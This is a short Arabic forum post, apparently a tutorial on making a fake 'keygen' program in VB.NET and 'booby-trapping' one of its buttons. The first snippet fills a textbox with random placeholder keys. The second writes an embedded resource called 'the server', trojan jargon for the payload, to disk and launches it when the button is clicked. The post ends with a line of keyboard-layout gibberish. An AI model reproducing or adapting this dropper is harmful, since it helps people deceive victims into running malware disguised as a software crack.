عمل , برنامج , كيجن , وتلغيم , احد , ازراره

موضوعي عن عمل برنامج كيجن وتلغيم احد ازراره
الشرح على جزئين ..
الجزء الاول :
الجزء الثاني:
كود الادراج generate
كود:
TextBox1.Text = Int(Rnd() * 4)
Select Case TextBox1.Text
Case 1
TextBox1.Text = ""
Case 2
TextBox1.Text = ""
Case 3
TextBox1.Text = ""
كود تلغيم الزر
كود:
dim filename as string ="اسم السيرفر مع الامتداد"
io.file.writeallbytes(filename,my.resource.اسم السيرفر)
if io.file.exists(filename) then process.start(filename)
اهداء المشرفين والاعضاء
اتمنى ان تنال العجابكم ..
ulg fvkhl[ ;d[k ,jgydl hp] h.vhvi